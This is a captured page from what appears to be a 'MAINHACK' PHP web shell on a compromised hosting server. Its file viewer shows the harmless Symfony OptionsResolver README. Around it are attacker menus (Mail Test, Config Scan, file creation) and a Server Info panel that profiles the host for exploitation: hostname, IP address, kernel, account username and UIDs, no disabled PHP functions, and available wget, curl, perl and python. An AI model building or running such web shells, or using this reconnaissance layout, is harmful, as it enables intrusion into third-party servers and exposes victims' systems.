[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: README.md
File is not writable. Editing disabled.
OptionsResolver Component ========================= OptionsResolver helps at configuring objects with option arrays. It supports default values on different levels of your class hierarchy, option constraints (required vs. optional, allowed values) and lazy options whose default value depends on the value of another option. The following example demonstrates a Person class with two required options "firstName" and "lastName" and two optional options "age" and "gender", where the default value of "gender" is derived from the passed first name, if possible, and may only be one of "male" and "female". use Symfony\Component\OptionsResolver\OptionsResolver; use Symfony\Component\OptionsResolver\OptionsResolverInterface; use Symfony\Component\OptionsResolver\Options; class Person { protected $options; public function __construct(array $options = array()) { $resolver = new OptionsResolver(); $this->setDefaultOptions($resolver); $this->options = $resolver->resolve($options); } protected function setDefaultOptions(OptionsResolverInterface $resolver) { $resolver->setRequired(array( 'firstName', 'lastName', )); $resolver->setDefaults(array( 'age' => null, 'gender' => function (Options $options) { if (self::isKnownMaleName($options['firstName'])) { return 'male'; } return 'female'; }, )); $resolver->setAllowedValues(array( 'gender' => array('male', 'female'), )); } } We can now easily instantiate a Person object: // 'gender' is implicitly set to 'female' $person = new Person(array( 'firstName' => 'Jane', 'lastName' => 'Doe', )); We can also override the default values of the optional options: $person = new Person(array( 'firstName' => 'Abdullah', 'lastName' => 'Mogashi', 'gender' => 'male', 'age' => 30, )); Options can be added or changed in subclasses by overriding the `setDefaultOptions` method: use Symfony\Component\OptionsResolver\OptionsResolver; use Symfony\Component\OptionsResolver\Options; class Employee extends Person { protected function setDefaultOptions(OptionsResolverInterface $resolver) { parent::setDefaultOptions($resolver); $resolver->setRequired(array( 'birthDate', )); $resolver->setDefaults(array( // $previousValue contains the default value configured in the // parent class 'age' => function (Options $options, $previousValue) { return self::calculateAge($options['birthDate']); } )); } } Resources --------- You can run the unit tests with the following command: $ cd path/to/Symfony/Component/OptionsResolver/ $ composer.phar install $ phpunit
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server290.web-hosting.com
Server IP: 162.0.232.250
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux server290.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
HDD Total: 93.04 GB
HDD Free: 67.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: afiencwd
User ID (UID): 821
Group ID (GID): 802
Script Owner UID: 821
Current Dir Owner: N/A